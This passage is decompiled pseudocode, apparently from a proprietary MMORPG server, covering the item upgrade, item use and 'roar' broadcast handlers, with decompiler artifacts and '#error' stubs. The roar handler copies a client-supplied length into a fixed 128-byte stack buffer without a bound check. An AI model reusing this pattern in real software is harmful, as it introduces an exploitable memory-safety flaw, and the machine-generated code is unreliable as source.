*)(v94 + 4), pInvCell, &EquipItemInven, &EquipItemInven); } else { v95 = (*(int (__thiscall **)(void *))(v92 + 1916))(v4); v96 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v96) = *(_WORD *)(v96 + 4); (*(void (__thiscall **)(int, int, int, int *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v95 + 48))( v95, v96, pInvCell, &UpgItem, &EquipItemInven, &EquipItemInven); } v97 = *(_BYTE *)(netcmd + 4); if ( v97 != -1 ) { if ( nRawLeft_Lot == 1 ) { v98 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v99 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v98 + 40))( v98, *(_WORD *)(v99 + 4), pRawLeftCell, &RawLeftItemInven, &RawLeftItemInven); } else { v100 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, v97); v101 = *(_DWORD *)v4; memcpy(&iti, (const void *)v100, 0x6Cu); v154 = *(_WORD *)(v100 + 108); pRawLeftCell = v100; v155 = *(_BYTE *)(v100 + 110); --v153; v102 = (*(int (__thiscall **)(void *))(v101 + 1916))(v4); v103 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v103) = *(_WORD *)(v103 + 4); (*(void (__thiscall **)(int, int, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v102 + 48))( v102, v103, pRawLeftCell, &iti, &RawLeftItemInven, &RawLeftItemInven); v87 = netcmd; } } v104 = *(_BYTE *)(v87 + 5); if ( v104 != -1 ) { if ( nRawRight_Lot == 1 ) { v105 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v106 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v105 + 40))( v105, *(_WORD *)(v106 + 4), pRawRightCell, &RawRightItemInven, &RawRightItemInven); } else { v107 = (**((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))((char *)v4 + 35568, v104); v108 = *(_DWORD *)v4; memcpy(&iti, (const void *)v107, 0x6Cu); v154 = *(_WORD *)(v107 + 108); pRawRightCell = v107; v155 = *(_BYTE *)(v107 + 110); --v153; v109 = (*(int (__thiscall **)(void *))(v108 + 1916))(v4); v110 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v110) = *(_WORD *)(v110 + 4); (*(void (__thiscall **)(int, int, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v109 + 48))( v109, v110, pRawRightCell, &iti, &RawRightItemInven, &RawRightItemInven); v87 = netcmd; } } v111 = *(_BYTE *)(v87 + 10); if ( v111 != -1 ) { if ( nRawMiddle_Lot == 1 ) { v112 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v113 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v112 + 40))( v112, *(_WORD *)(v113 + 4), pRawMiddleCell, &RawMiddleItemInven, &RawMiddleItemInven); } else { v114 = (**((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))((char *)v4 + 35568, v111); v115 = *(_DWORD *)v4; memcpy(&iti, (const void *)v114, 0x6Cu); v154 = *(_WORD *)(v114 + 108); pRawMiddleCell = (void *)v114; v155 = *(_BYTE *)(v114 + 110); --v153; v116 = (*(int (__thiscall **)(void *))(v115 + 1916))(v4); v117 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v117) = *(_WORD *)(v117 + 4); (*(void (__thiscall **)(int, int, void *, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v116 + 48))( v116, v117, pRawMiddleCell, &iti, &RawMiddleItemInven, &RawMiddleItemInven); } } v118 = *(_DWORD *)v4; if ( nRaw_Lot == 1 ) { v119 = (*(int (__thiscall **)(void *))(v118 + 1916))(v4); v120 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, const void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v119 + 40))( v119, *(_WORD *)(v120 + 4), pRawCell, &RawItemInven, &RawItemInven); } else { memcpy(&iti, pRawCell, 0x6Cu); v154 = *((_WORD *)pRawCell + 54); v155 = *((_BYTE *)pRawCell + 110); --v153; v121 = (*(int (__thiscall **)(void *))(v118 + 1916))(v4); v122 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v122) = *(_WORD *)(v122 + 4); (*(void (__thiscall **)(int, int, const void *, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v121 + 48))( v121, v122, pRawCell, &iti, &RawItemInven, &RawItemInven); } v123 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v124 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v123 + 56))( v123, *(_WORD *)(v124 + 4), giftmoney, 0, -1); v125 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v125 + 4); goto LABEL_106; } goto LABEL_15; } if ( AssertClass::operator__( &shineassert, v26 < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw_middle slot", v26) ) { LABEL_49: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2260); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14442) + 12))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 10)) ) goto LABEL_116; v27 = (**(int (__thiscall ***)(_DWORD, _DWORD))v7)((char *)v4 + 35568, *(_BYTE *)(netcmd + 10)); v28 = **(_DWORD **)(v27 + 112); pRawMiddleCell = (void *)(v27 + 8); nRawMiddle_Lot = (*(int (__stdcall **)(int))(v28 + 24))(v27 + 8); v29 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); if ( !v29 ) goto LABEL_49; v30 = v29->data; if ( !v30 ) { LABEL_116: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2260); goto LABEL_106; } if ( (signed int)nRawMiddle_Lot >= 1 && nRawMiddle_Lot <= v30->MaxLot ) { *(_WORD *)((char *)v4 + 89025) = *(_WORD *)pRawMiddleCell; goto LABEL_58; } LABEL_50: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2257); goto LABEL_106; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2265); v157 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_111: __security_check_cookie(cookie); } //----- (004E7F90) -------------------------------------------------------- #error "4E7F90: undefined or illegal type '#331' (funcsize=185)" //----- (004E81B0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_USE_ACK(__int16 index) { AssertClass::ac_AssertFail(&shineassert, "ShineObject::so_NC_ITEMDB_USE_ACK", 0); } //----- (004E81D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(int this, int useitem, __int16 itmid) { int v3; // esi@1 char *v4; // eax@2 int v5; // ecx@2 int v6; // ST04_4@2 int v7; // eax@2 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@2 int v9; // [sp+18h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(useitem + 12) ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12329; *((_WORD *)v4 + 1) = *(_WORD *)(this + 4); v5 = *(_DWORD *)(this + 78); *((_DWORD *)v4 + 1) = *(_DWORD *)v5; *((_DWORD *)v4 + 2) = *(_DWORD *)(v5 + 4); *((_WORD *)v4 + 6) = itmid; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 14); v6 = *(_DWORD *)(v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v7, v6, 0, 0, (int)&alchat, 1, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (004E8280) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (004E82A0) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueRoar *content) { MemoryQueue *v3; // eax@1 unsigned int v4; // ecx@1 v3 = this; v4 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); v3->mq_Pointer.value = v4; v3->mq_Buffer[v4].handle = hnd; memcpy(&v3->mq_Buffer[v3->mq_Pointer.value].content, content, sizeof(v3->mq_Buffer[v3->mq_Pointer.value].content)); return LOWORD(v3->mq_Pointer.value); } //----- (004E8300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S4_16 & 1) ) { _S4_16 |= 1u; cmc_71.cmc_AllowMode = 70; atexit(_E5_61); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_71.cmc_AllowMode ) *((_DWORD *)v4 + 1793) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"); } //----- (004E83E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edi@1 int v6; // eax@5 char v7; // al@7 void *v8; // ecx@7 char v9; // al@11 int v10; // ST08_4@14 signed int v11; // eax@14 int v12; // eax@18 int v13; // ebp@18 int v14; // edi@18 ItemDataBox::ItemDataBoxIndex *v15; // eax@18 ItemDataBox::ItemDataBoxIndex *v16; // ebx@18 int v17; // eax@20 int v18; // eax@26 signed int v19; // [sp-4h] [bp-28h]@4 signed int v20; // [sp+0h] [bp-24h]@4 char *v21; // [sp+0h] [bp-24h]@8 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v23; // [sp+20h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; v5 = (int)((char *)v4 + 35568); if ( !(_S6_66 & 1) ) { _S6_66 |= 1u; cmc_72.cmc_AllowMode = 70; atexit(_E7_49); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_72.cmc_AllowMode) ) { v20 = 9; v19 = 1793; LABEL_34: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, v19, v20); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; goto LABEL_35; } v6 = *(_DWORD *)((char *)v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) ) { v20 = 9; v19 = 1808; goto LABEL_34; } v7 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768); v8 = v4; if ( v7 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1793, 9); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); return; } if ( *((_BYTE *)v4 + 69436) & 8 || (v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2640))(v4), v8 = v4, v9 == 1) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v8, 1793, 9); v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1793, 9); v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v10 = *(_BYTE *)(netcmd + 2); v11 = (*(int (__thiscall **)(char *))(*(_DWORD *)v5 + 8))((char *)v4 + 35568); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v11, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : wrong slot", v10) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Inventory type", 9); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1794, 9); } else { if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14442) + 4))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 46071)) ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1802, 9); } else { v12 = (**(int (__thiscall ***)(char *, _DWORD))v5)((char *)v4 + 35568, *(_BYTE *)(netcmd + 2)); v13 = v12; v14 = v12 + 8; v15 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v12 + 8)); v16 = v15; v17 = v15 && v15->data; if ( AssertClass::operator__( &shineassert, v17, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1795, 9); } else { *((_WORD *)v4 + 46111) = *(_WORD *)v14; if ( v16->data->DemandLv <= (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1220))(v4) ) { v18 = (*(int (__stdcall **)(int))(**(_DWORD **)(v13 + 112) + 24))(v13 + 8); if ( AssertClass::operator__( &shineassert, v18 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use lot 0 item", 0) ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1795, 9); } else { if ( !*(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 103) || v16->dataserv->PK_KQ_USE ) ShineObjectClass::ShinePlayer::sp_ItemUseReq_Inven(v4, *(_BYTE *)(netcmd + 2), v13, v16); else (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1808, 9); } } else { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1800, 9); } } } } v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } // 4E7F90: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemUseReq_Inven(_DWORD, _DWORD, _DWORD, _DWORD); //----- (004E8760) -------------------------------------------------------- #error "4E8760: undefined or illegal type '#331' (funcsize=75)" //----- (004E8870) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK(void *this, int index) { void *v2; // esi@1 int v3; // eax@1 DebugLogging *v4; // esi@2 _iobuf *v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, int, _DWORD))(*(_DWORD *)v3 + 24))(v3, v2, index, 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004E8990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemUse(void *this, int itminf, int invenslot) { int v3; // esi@1 int v4; // edi@1 __int16 *v5; // ebx@1 int v6; // eax@2 UseEffect::UIE_Functions *v7; // eax@5 unsigned __int16 v8; // ax@7 int v9; // edx@7 int v10; // edi@10 int v11; // eax@10 int useitem; // [sp+28h] [bp-14h]@7 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v3 + 35568))(v3 + 35568, (unsigned __int8)invenslot); v5 = (__int16 *)(v4 + 8); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v4 + 8)) ) { v6 = (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); if ( v6 > 0 ) { if ( *v5 < useditemeffect.uie_MaxItemID ) v7 = &useditemeffect.uie_FuncStruct[(unsigned __int16)*v5]; else v7 = useditemeffect.uie_FuncStruct; useitem = (int)v7; v8 = (**(int (__stdcall ***)(_DWORD, _DWORD))v7->useitemclass)(v3, v4); v9 = *(_DWORD *)v3; if ( v8 == 1792 ) { (*(void (__thiscall **)(int, signed int, signed int))(v9 + 772))(v3, 12, 26); ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(v3, useitem, *v5); if ( *(_WORD *)(v3 + 7176) == 29200 ) { v10 = *(_DWORD *)v3; v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 976))(v3); (*(void (__thiscall **)(int, _DWORD, unsigned int))(v10 + 884))( v3, *(_WORD *)(v3 + 7176), ((signed int)((unsigned __int64)(v11 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v11 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31)); } (*(void (__stdcall **)(int, int, int, int))(**(_DWORD **)(useitem + 4) + 8))(v3, v3 + 35568, itminf, invenslot); } else { (*(void (__thiscall **)(int, _DWORD, signed int))(v9 + 2240))(v3, v8, 9); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use lot 0 item", v6 > 0); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 2240))(v3, 1795, 9); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"); } //----- (004E8B40) -------------------------------------------------------- #error "4E8B40: undefined or illegal type '#440' (funcsize=66)" //----- (004E8C50) -------------------------------------------------------- #error "4E8C50: undefined or illegal type '#440' (funcsize=281)" //----- (004E9000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // eax@5 int v6; // ST0C_4@8 signed int v7; // eax@8 int v8; // eax@12 unsigned __int16 *v9; // edi@12 int v10; // eax@14 ItemDataBox::ItemDataBoxIndex *v11; // eax@16 ItemDataBox::ItemDataBoxIndex *v12; // edi@16 int v13; // eax@18 void *v14; // ecx@22 int v15; // eax@24 unsigned int v16; // edx@26 int v17; // esi@26 unsigned __int16 v18; // ax@26 FunctionEntarance _; // [sp+14h] [bp-A4h]@1 char tmp[128]; // [sp+18h] [bp-A0h]@26 int v21; // [sp+98h] [bp-20h]@26 unsigned int cookie; // [sp+A4h] [bp-14h]@31 int v23; // [sp+B4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; if ( !(_S11_8 & 1) ) { _S11_8 |= 1u; cmc_73.cmc_AllowMode = 86; atexit(_E12_7); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_73.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1793); LABEL_30: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ"); goto LABEL_31; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 158) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1808); goto LABEL_30; } if ( *((_WORD *)v4 + 34718) & 0xC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 12, 578); goto LABEL_30; } v6 = *(_BYTE *)(netcmd + 2); v7 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 8892) + 8))((char *)v4 + 35568); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v7, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ : wrong slot", v6) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1794); } else { if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14442) + 4))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 46071)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1802); } else { v8 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, *(_BYTE *)(netcmd + 2)); v9 = (unsigned __int16 *)(v8 + 8); if ( unk_12510DD8 == *(_WORD *)(v8 + 8) ) { v10 = (*(int (__stdcall **)(unsigned __int16 *))(**(_DWORD **)(v8 + 112) + 24))(v9); if ( AssertClass::operator__( &shineassert, v10 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ : Try to use lot 0 item", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1795); } else { v11 = ItemDataBox::operator__(&itemdatabox, *v9); v12 = v11; v13 = v11 && v11->data; if ( AssertClass::operator__( &shineassert, v13, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1795); } else { v14 = *(void **)((char *)v4 + 98); if ( v14 && FieldMap::fm_GetGuildTournamentSystem(v14) && (v15 = FieldMap::fm_GetGuildTournamentSystem(*(void **)((char *)v4 + 98)), GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v15, (#331 *)v4)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1824); } else { UseEffect::UseItemNormal::uib_AfterCast( &ui_Roar, (#440 *)v4, (ItemBag *)v4 + 8892, v12, *(_BYTE *)(netcmd + 2)); LOBYTE(v21) = *(_BYTE *)(netcmd + 3); v16 = (unsigned __int8)v21; v17 = netcmd + 4; memcpy(tmp, (const void *)(netcmd + 4), 4 * ((unsigned int)(unsigned __int8)v21 >> 2)); v18 = *((_WORD *)v4 + 2); memcpy(&tmp[4 * (v16 >> 2)], (const void *)(v17 + 4 * (v16 >> 2)), v16 & 3); *((_WORD *)v4 + 46090) = MemoryQueue::mq_Store(&queue_roar, v18, (MemoryQueueRoar *)tmp); } } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 76, 1794); } } } v23 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_31: __security_check_cookie(cookie); } // 4E9000: using guessed type char tmp[128]; //----- (004E9360) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 char *v3; // edi@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // esi@3 _iobuf *v8; // eax@5 DebugLogging *v9; // eax@7 DebugLogging *v10; // eax@7 int v11; // eax@9 unsigned int v12; // ecx@9 char *v13; // ecx@9 char *v14; // ST04_4@9 DebugLogging *v15; // eax@9 DebugLogging *v16; // eax@9 int v17; // eax@12 int name; // [sp+14h] [bp-20h]@12 int v19; // [sp+18h] [bp-1Ch]@12 int v20; // [sp+1Ch] [bp-18h]@12 int v21; // [sp+20h] [bp-14h]@12 unsigned int v22; // [sp+24h] [bp-10h]@14 int v23; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46090); v23 = 0; if ( v2 < 0x80u && (v3 = (char *)&queue_roar + 132 * v2) != 0 ) { if ( *((_WORD *)v1 + 2) == *(_WORD *)v3 ) { if ( (unsigned __int8)v3[130] >= 0x80u ) v3[130] = 127; v3[(unsigned __int8)v3[130] + 2] = 0; v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); name = *(_DWORD *)v17; v19 = *(_DWORD *)(v17 + 4); v20 = *(_DWORD *)(v17 + 8); v21 = *(_DWORD *)(v17 + 12); CAnnounceSystem::AnnounceSystem_Roar(&gAnnounceSystem, (Name4 *)&name, v3 + 2); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 8, 76, 1792); } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)v11; *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 + 4); *((_DWORD *)v13 + 2) = *(_DWORD *)(v11 + 8); v14 = v13; *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 12); v13[16] = 0; v15 = DebugLogging::operator<<(&ChargedItemLog, "Roar Null "); v16 = DebugLogging::operator<<(v15, v14); DebugLogging::operator<<(v16, &deb_LF); } v23 = -1; } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); 